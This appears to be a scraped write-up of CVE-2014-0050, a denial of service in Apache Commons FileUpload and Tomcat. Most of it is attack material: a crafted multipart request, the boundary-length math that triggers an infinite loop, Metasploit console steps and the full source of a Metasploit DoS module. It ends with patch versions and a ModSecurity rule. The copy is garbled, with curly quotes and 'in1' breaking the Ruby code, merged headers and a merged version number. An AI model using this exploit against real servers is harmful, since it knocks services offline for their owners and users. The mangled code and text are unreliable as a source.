CVE-2014-0050: Exploit with Boundaries, Loops without Boundaries、Apache Commons FileUpload and Apache Tomcat DoS

            1
            . Description

            2
            . Analysis

            3
            . POC

            4. Solution

http://cve.scap.org.cn/CVE-2014-0050.html
https://www.rapid7.com/db/vulnerabilities/apache-tomcat-cve-2014-0050
http://www.cnblogs.com/geekcui/p/3599425.html

POST /upload_file/UploadFile HTTP/1.1 
Accept: text/plain, */* 
Accept-Language: zh-cn 
Host: 192.168.29.65:80 
Content-Type:multipart/form-data;boundary=---------------------------7d33a816d302b6 
User-Agent: Mozilla/4.0 (compatible; OpenOffice.org) 
Content-Length: 424 
Connection: Keep-Alive -----------------------------7d33a816d302b6 
Content-Disposition:form-data; 
name="userfile1"; 
filename="E:\s"Content-Type: 
application/octet-stream abbXXXccc 
-----------------------------7d33a816d302b6 

Content-Disposition: form-data; 

name="text1" foo 

-----------------------------7d33a816d302b6 

Content-Disposition: form-data; 

name="password1" bar 

-----------------------------7d33a816d302b6-- 

boundary.length > bufSize – 1 – BOUNDARY_PREFIX.length = 4096 – 1 – 4 = 4091//parts of the code were copied into the org.apache.tomcat.util.http.fileupload package in Apache Tomcat, causing it to be affected.

https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2014-0050--Exploit-with-Boundaries,-Loops-without-Boundaries/

msf > use auxiliary/dos/http/apache_commons_fileupload_dos
msf auxiliary(apache_commons_fileupload_dos) > show actions
    ...actions...
msf auxiliary(apache_commons_fileupload_dos) > set ACTION <action-name>
msf auxiliary(apache_commons_fileupload_dos) > show options
    ...show and set options...
msf auxiliary(apache_commons_fileupload_dos) > run

            ##
# This module requires Metasploit: http:
            //
            metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework##

require ‘msf/core‘class Metasploit4 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      ‘Name‘            => ‘Apache Commons FileUpload and Apache Tomcat DoS‘,
      ‘Description‘     => %q{
        This module triggers an infinite loop in Apache Commons FileUpload 1.0
        through 1.3 via a specially crafted Content-Type header.
        Apache Tomcat 7 and Apache Tomcat 8 use a copy of FileUpload to handle
        mime-multipart requests, therefore, Apache Tomcat 7.0.0 through 7.0.50
        and 8.0.0-RC1 through 8.0.1 are affected by this issue. Tomcat 6 also
        uses Commons FileUpload as part of the Manager application.
       },
       ‘Author‘         =>
         [
           ‘Unknown‘, # This issue was reported to the Apache Software Foundation and accidentally made public.
           ‘ribeirux‘ # metasploit module
         ],
       ‘License‘        => MSF_LICENSE,
       ‘References‘     =>
         [
           [‘CVE‘, ‘2014-0050‘],
           [‘URL‘, ‘http://tomcat.apache.org/security-8.html‘],
           [‘URL‘, ‘http://tomcat.apache.org/security-7.html‘]
         ],
        ‘DisclosureDate‘ => ‘Feb 6 2014‘
      ))

      register_options(
        [
          Opt::RPORT(8080),
          OptString.new(‘TARGETURI‘, [ true,  "The request URI", ‘/‘]),
          OptInt.new(‘RLIMIT‘, [ true,  "Number of requests to send",50])
        ], self.class)
  end

  def run
    boundary = "0"*4092
    opts = {
      ‘method‘         => "POST",
      ‘uri‘            => normalize_uri(target_uri.to_s),
      ‘ctype‘          => "multipart/form-data; boundary=#{boundary}",
      ‘data‘           => "#{boundary}00000",
      ‘headers‘ => {
        ‘Accept‘ => ‘*/*‘
      }
    }

    # XXX: There is rarely, if ever, a need for a ‘for‘ loop in Ruby
    # This should be rewritten with 1.upto() or Enumerable#each or
    # something
    for x in1..datastore[‘RLIMIT‘]
      print_status("Sending request #{x} to #{peer}")
      begin
        c = connect
        r = c.request_cgi(opts)
        c.send_request(r)
        # Don‘t wait for a response
      rescue ::Rex::ConnectionError => exception
        print_error("#{peer} - Unable to connect: ‘#{exception.message}‘")
        return
      ensure
        disconnect(c) if c
      end
    end
  end
end

https://www.rapid7.com/db/modules/auxiliary/dos/http/apache_commons_fileupload_dos
https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/auxiliary/dos/http/apache_commons_fileupload_dos.rb

            1
            . Once available, update your software to one of the following versions:
Apache Commons FileUpload 
            1.3.1
Apache Tomcat 7.0.51
Apache Tomcat 8.0.22. You may choose to apply the appropriate patch:
Apache Commons FileUpload: http://svn.apache.org/r1565143
Apache Tomcat 8: http://svn.apache.org/r1565163
Apache Tomcat 7: http://svn.apache.org/r1565169

SecRule REQUEST_HEADERS:Content-Type "@rx .{4000}"

http://tomcat.apache.org/security-7.html